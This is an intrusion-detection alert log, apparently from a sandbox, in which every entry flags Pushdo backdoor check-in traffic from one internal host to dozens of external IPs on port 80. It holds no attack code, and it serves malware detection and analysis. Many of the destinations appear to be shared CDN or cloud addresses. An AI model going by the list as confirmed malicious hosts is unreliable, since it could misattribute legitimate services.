2024-10-25T11:18:09.502425+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52841	60.43.154.138	80	TCP
2024-10-25T11:18:09.603490+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52839	104.26.15.53	80	TCP
2024-10-25T11:18:09.635124+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52851	80.74.154.6	80	TCP
2024-10-25T11:18:09.723474+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52854	192.124.249.10	80	TCP
2024-10-25T11:18:09.752021+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52858	141.193.213.11	80	TCP
2024-10-25T11:18:09.916743+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52851	80.74.154.6	80	TCP
2024-10-25T11:18:09.938565+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52858	141.193.213.11	80	TCP
2024-10-25T11:18:09.939297+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52856	60.43.154.138	80	TCP
2024-10-25T11:18:09.960881+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52862	172.67.173.200	80	TCP
2024-10-25T11:18:09.992787+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52859	185.80.51.179	80	TCP
2024-10-25T11:18:10.010927+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52864	198.185.159.144	80	TCP
2024-10-25T11:18:10.054167+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52863	192.124.249.10	80	TCP
2024-10-25T11:18:10.123074+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52860	34.218.204.173	80	TCP
2024-10-25T11:18:10.201882+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52862	172.67.173.200	80	TCP
2024-10-25T11:18:10.210776+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52872	172.67.173.200	80	TCP
2024-10-25T11:18:10.225827+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52863	192.124.249.10	80	TCP
2024-10-25T11:18:10.300250+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52866	135.181.73.98	80	TCP
2024-10-25T11:18:10.319709+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52856	60.43.154.138	80	TCP
2024-10-25T11:18:10.342108+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52859	185.80.51.179	80	TCP
2024-10-25T11:18:10.374444+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52872	172.67.173.200	80	TCP
2024-10-25T11:18:10.456935+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52871	80.74.154.6	80	TCP
2024-10-25T11:18:10.461995+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52870	185.80.51.179	80	TCP
2024-10-25T11:18:10.462023+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52869	81.2.194.241	80	TCP
2024-10-25T11:18:10.575648+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52866	135.181.73.98	80	TCP
2024-10-25T11:18:10.644860+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52874	188.165.133.163	80	TCP
2024-10-25T11:18:10.684751+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52868	116.211.150.37	80	TCP
2024-10-25T11:18:10.689076+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52880	198.185.159.144	80	TCP
2024-10-25T11:18:10.717503+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52879	188.114.96.3	80	TCP
2024-10-25T11:18:10.808175+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52871	80.74.154.6	80	TCP
2024-10-25T11:18:10.811305+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52869	81.2.194.241	80	TCP
2024-10-25T11:18:10.816172+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52870	185.80.51.179	80	TCP
2024-10-25T11:18:10.931564+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52874	188.165.133.163	80	TCP
2024-10-25T11:18:10.932027+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52879	188.114.96.3	80	TCP
2024-10-25T11:18:10.946549+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52877	202.254.236.40	80	TCP
2024-10-25T11:18:10.959565+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52878	81.2.194.241	80	TCP
2024-10-25T11:18:10.964065+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52882	69.163.239.62	80	TCP
2024-10-25T11:18:11.072143+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52881	135.181.73.98	80	TCP
2024-10-25T11:18:11.128536+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52883	188.165.133.163	80	TCP
2024-10-25T11:18:11.232456+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52882	69.163.239.62	80	TCP
2024-10-25T11:18:11.273828+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52888	69.163.239.62	80	TCP
2024-10-25T11:18:11.292189+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52877	202.254.236.40	80	TCP
2024-10-25T11:18:11.320088+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52878	81.2.194.241	80	TCP
2024-10-25T11:18:11.359770+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52890	3.94.41.167	80	TCP
2024-10-25T11:18:11.367034+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52881	135.181.73.98	80	TCP
2024-10-25T11:18:11.385543+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52883	188.165.133.163	80	TCP
2024-10-25T11:18:11.438636+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52887	46.242.238.60	80	TCP
2024-10-25T11:18:11.469696+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52888	69.163.239.62	80	TCP
2024-10-25T11:18:11.545335+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52892	188.114.96.3	80	TCP
2024-10-25T11:18:11.656521+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52886	116.211.150.37	80	TCP
2024-10-25T11:18:11.690863+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52892	188.114.96.3	80	TCP
2024-10-25T11:18:11.832878+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52899	188.114.96.3	80	TCP
2024-10-25T11:18:12.249212+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52896	46.242.238.60	80	TCP
2024-10-25T11:18:12.249212+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52895	202.254.236.40	80	TCP
2024-10-25T11:18:12.249292+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52898	108.167.164.216	80	TCP
2024-10-25T11:18:12.249609+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52899	188.114.96.3	80	TCP
2024-10-25T11:18:12.249885+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52891	104.26.3.124	80	TCP
2024-10-25T11:18:12.249906+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52897	104.21.66.46	80	TCP
2024-10-25T11:18:12.250215+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52900	5.189.128.121	80	TCP
2024-10-25T11:18:12.250296+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52903	3.94.41.167	80	TCP
2024-10-25T11:18:12.250340+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52910	96.127.180.42	80	TCP
2024-10-25T11:18:12.250350+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52908	3.94.41.167	80	TCP
2024-10-25T11:18:12.259449+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52905	51.79.51.72	80	TCP
2024-10-25T11:18:12.369048+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52906	108.167.164.216	80	TCP
2024-10-25T11:18:12.437982+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52907	5.189.128.121	80	TCP
2024-10-25T11:18:12.484068+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52910	96.127.180.42	80	TCP
2024-10-25T11:18:12.504288+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52904	104.21.66.46	80	TCP
2024-10-25T11:18:12.516287+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52912	188.114.96.3	80	TCP
2024-10-25T11:18:12.591598+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52900	5.189.128.121	80	TCP
2024-10-25T11:18:12.604524+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52895	202.254.236.40	80	TCP
2024-10-25T11:18:12.729190+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52907	5.189.128.121	80	TCP
2024-10-25T11:18:12.739873+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52912	188.114.96.3	80	TCP
2024-10-25T11:18:12.906791+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52911	104.26.3.124	80	TCP
2024-10-25T11:18:13.007276+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52915	3.94.41.167	80	TCP
2024-10-25T11:18:13.009864+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52916	3.94.41.167	80	TCP
2024-10-25T11:18:13.117522+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52891	104.26.3.124	80	TCP
2024-10-25T11:18:13.231768+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52919	51.79.51.72	80	TCP
2024-10-25T11:18:13.271535+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52917	217.19.237.54	80	TCP
2024-10-25T11:18:13.290938+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52924	69.163.182.181	80	TCP
2024-10-25T11:18:13.303329+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52925	75.119.202.130	80	TCP
2024-10-25T11:18:13.346831+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52924	69.163.182.181	80	TCP
2024-10-25T11:18:13.351521+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52927	96.127.180.42	80	TCP
2024-10-25T11:18:13.383806+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52918	23.227.38.74	80	TCP
2024-10-25T11:18:13.390430+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52926	104.196.26.65	80	TCP
2024-10-25T11:18:13.516347+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52911	104.26.3.124	80	TCP
2024-10-25T11:18:13.538762+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52929	104.196.26.65	80	TCP
2024-10-25T11:18:13.601156+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52926	104.196.26.65	80	TCP
2024-10-25T11:18:13.632228+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52931	75.119.202.130	80	TCP
2024-10-25T11:18:13.660158+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52927	96.127.180.42	80	TCP
2024-10-25T11:18:13.685963+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52931	75.119.202.130	80	TCP
2024-10-25T11:18:13.730751+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52928	23.227.38.74	80	TCP
2024-10-25T11:18:13.738761+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52932	3.94.41.167	80	TCP
2024-10-25T11:18:13.745180+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52929	104.196.26.65	80	TCP
2024-10-25T11:18:13.926953+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52937	3.94.41.167	80	TCP
2024-10-25T11:18:13.943463+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52933	217.19.237.54	80	TCP
2024-10-25T11:18:14.066757+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52938	69.163.182.181	80	TCP
2024-10-25T11:18:14.120784+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52939	13.248.169.48	80	TCP
2024-10-25T11:18:14.205838+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52779	137.118.26.67	80	TCP
2024-10-25T11:18:14.216552+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52941	75.119.202.130	80	TCP
2024-10-25T11:18:14.305250+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52934	183.90.183.73	80	TCP
2024-10-25T11:18:14.382759+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52945	75.119.202.130	80	TCP
2024-10-25T11:18:14.451510+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52947	69.163.182.181	80	TCP
2024-10-25T11:18:14.505056+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52944	183.90.183.73	80	TCP
2024-10-25T11:18:14.547698+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:14.654063+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52951	3.94.41.167	80	TCP
2024-10-25T11:18:14.711028+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:14.715605+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52934	183.90.183.73	80	TCP
2024-10-25T11:18:14.726580+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52952	13.248.169.48	80	TCP
2024-10-25T11:18:14.743841+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52948	144.76.24.9	80	TCP
2024-10-25T11:18:14.763275+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52920	213.165.251.217	80	TCP
2024-10-25T11:18:14.801993+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52955	188.114.97.3	80	TCP
2024-10-25T11:18:14.804803+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:14.884058+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52950	195.78.66.65	80	TCP
2024-10-25T11:18:14.911842+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52795	137.118.26.67	80	TCP
2024-10-25T11:18:14.976500+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:14.985442+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52959	147.154.0.23	80	TCP
2024-10-25T11:18:15.032638+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52930	213.165.251.217	80	TCP
2024-10-25T11:18:15.053788+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:15.058391+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52954	188.166.152.188	80	TCP
2024-10-25T11:18:15.108093+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52957	18.245.31.21	80	TCP
2024-10-25T11:18:15.190548+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52958	195.78.66.65	80	TCP
2024-10-25T11:18:15.222216+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:15.270258+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52963	69.163.182.181	80	TCP
2024-10-25T11:18:15.306411+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:15.325443+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52965	104.21.23.9	80	TCP
2024-10-25T11:18:15.351611+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52967	192.124.249.20	80	TCP
2024-10-25T11:18:15.366535+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52966	3.19.116.195	80	TCP
2024-10-25T11:18:15.413797+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52972	70.39.251.249	80	TCP
2024-10-25T11:18:15.430954+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52957	18.245.31.21	80	TCP
2024-10-25T11:18:15.438004+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:15.471569+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:15.477803+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52965	104.21.23.9	80	TCP
2024-10-25T11:18:15.518483+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52967	192.124.249.20	80	TCP
2024-10-25T11:18:15.540667+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52968	34.218.204.173	80	TCP
2024-10-25T11:18:15.553476+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:15.555339+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52973	80.93.82.33	80	TCP
2024-10-25T11:18:15.590107+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52964	59.106.19.204	80	TCP
2024-10-25T11:18:15.594364+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52972	70.39.251.249	80	TCP
2024-10-25T11:18:15.597819+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52971	118.27.125.181	80	TCP
2024-10-25T11:18:15.631549+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52976	188.166.152.188	80	TCP
2024-10-25T11:18:15.637658+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52979	165.22.45.169	80	TCP
2024-10-25T11:18:15.648892+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52974	217.79.184.35	80	TCP
2024-10-25T11:18:15.676869+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:15.689201+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52975	144.76.24.9	80	TCP
2024-10-25T11:18:15.717862+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:15.786806+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52980	18.245.31.21	80	TCP
2024-10-25T11:18:15.801766+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52977	85.131.197.10	80	TCP
2024-10-25T11:18:15.813443+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52973	80.93.82.33	80	TCP
2024-10-25T11:18:15.824113+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52979	165.22.45.169	80	TCP
2024-10-25T11:18:15.868057+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52978	217.79.184.35	80	TCP
2024-10-25T11:18:15.915997+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:15.973116+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52984	165.22.45.169	80	TCP
2024-10-25T11:18:15.974197+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52989	188.114.97.3	80	TCP
2024-10-25T11:18:15.996787+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52986	147.154.3.56	80	TCP
2024-10-25T11:18:16.056459+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52980	18.245.31.21	80	TCP
2024-10-25T11:18:16.059495+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52988	13.248.252.114	80	TCP
2024-10-25T11:18:16.082144+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52990	3.19.116.195	80	TCP
2024-10-25T11:18:16.089911+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52977	85.131.197.10	80	TCP
2024-10-25T11:18:16.156065+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:16.161369+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52984	165.22.45.169	80	TCP
2024-10-25T11:18:16.167605+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52985	23.227.38.74	80	TCP
2024-10-25T11:18:16.188469+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52993	13.248.252.114	80	TCP
2024-10-25T11:18:16.225956+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52997	104.26.7.221	80	TCP
2024-10-25T11:18:16.257838+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52996	34.149.87.45	80	TCP
2024-10-25T11:18:16.433983+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52995	211.1.226.67	80	TCP
2024-10-25T11:18:16.443601+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:16.484764+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52999	35.164.78.200	80	TCP
2024-10-25T11:18:16.496575+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53003	104.21.88.198	80	TCP
2024-10-25T11:18:16.552566+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53001	23.227.38.74	80	TCP
2024-10-25T11:18:16.614170+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53002	35.164.78.200	80	TCP
2024-10-25T11:18:16.616159+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53000	142.250.186.147	80	TCP
2024-10-25T11:18:16.619093+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53006	185.15.129.58	80	TCP
2024-10-25T11:18:16.630074+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52998	170.82.174.30	80	TCP
2024-10-25T11:18:16.695410+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53003	104.21.88.198	80	TCP
2024-10-25T11:18:16.723563+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52995	211.1.226.67	80	TCP
2024-10-25T11:18:16.832033+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53004	213.186.33.40	80	TCP
2024-10-25T11:18:16.893729+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53013	54.161.222.85	80	TCP
2024-10-25T11:18:16.957679+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53010	89.161.163.246	80	TCP
2024-10-25T11:18:16.972268+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53011	85.131.197.10	80	TCP
2024-10-25T11:18:17.021272+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53019	103.224.182.241	80	TCP
2024-10-25T11:18:17.092050+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53021	103.224.182.241	80	TCP
2024-10-25T11:18:17.120094+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53012	211.1.226.67	80	TCP
2024-10-25T11:18:17.136161+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52998	170.82.174.30	80	TCP
2024-10-25T11:18:17.161794+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53018	213.186.33.40	80	TCP
2024-10-25T11:18:17.190443+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53014	5.196.166.214	80	TCP
2024-10-25T11:18:17.193779+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53017	62.122.190.121	80	TCP
2024-10-25T11:18:17.307959+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52853	193.166.255.171	80	TCP
2024-10-25T11:18:17.507745+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53004	213.186.33.40	80	TCP
2024-10-25T11:18:17.539457+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53018	213.186.33.40	80	TCP
2024-10-25T11:18:17.539635+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53012	211.1.226.67	80	TCP
